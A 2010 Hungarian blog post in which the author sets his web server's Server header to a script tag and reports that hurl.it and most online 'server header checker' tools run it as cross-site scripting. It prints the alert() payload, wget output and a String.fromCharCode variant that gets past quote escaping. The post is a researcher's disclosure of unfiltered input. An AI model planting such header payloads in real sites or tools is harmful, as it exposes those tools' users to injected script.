Cross-Site Scripting in the wild

RoliSoft
2010 május 21, péntek 23:23

A Cross-Site Scripting ma már egy nagyon ismert módszer, és mindenki védekezik ellene. Viszont vannak helyek ahol azt gondolod, hogy nincs minek szűrni az adatot és kiírod úgy ahogy van. Ezzel viszont azonnal megszegted azt az aranyszabályt, hogy don't trust user input.

A rolisoft.net-en már régebb óta állítgatok saját Server headert, eleinte viszont csak rövidebb neveket, mint például "bunch of monkeys", ezúttal viszont kíváncsiságból és érdekességből a következőt állítottam be:

header("Server: <script>alert('hello from rolisoft.net!')</script>");

Teszteljük le a headert:

rolisoft@ncc1701e:~$ wget -S --spider http://rolisoft.net
--20:24:20--  http://rolisoft.net/
           => `index.html'
Resolving rolisoft.net... 69.163.231.16
Connecting to rolisoft.net|69.163.231.16|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.1 200 OK
  Date: Fri, 21 May 2010 20:24:20 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: keep-alive
  Server: <script>alert('hello from rolisoft.net!')</script>
  Set-Cookie: PHPSESSID=6a9c1ii20c75atbah3sq6j5687; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache

Azok az oldalak amelyek szerver információkat gyűjtenek vagy csak headereket mutatnak, valószínűleg bele fognak esni a csapdába, mivel senki sem gondolt arra, hogy szűrjék a Server mezőt, mikor ideálisan csak a szerver nevét és verzióját kellene tartalmazzák, mint például "Apache/2.2.12" vagy "nginx/0.7.64".

Nos, akkor próbáljuk ki. Az első lesz a kedvenc eszközöm, a hurl.it:

hurl.it xss
Mission accomplished!

Google-ben kerestem még hasonló eszközöket, és a következők XSS-elhetőek még:

Nagyjából az összes eszköz ami a "server header checker" queryre kijön sebezhető. Ouch!

Pár eszköz véletlenül escape-elte a ' karaktert és emiatt a JavaScript nem futott le. Ezt nagyon egyszerűen meg lehet oldani, mindössze nem használunk idézőjeleket az üzenethez:

<script>alert(String.fromCharCode(104,101,108,108,111,32,102,114,111,109,32,114,111,108,105,115,111,102,/*...*/))</script>

Hozzászólások

nincs hozzászólás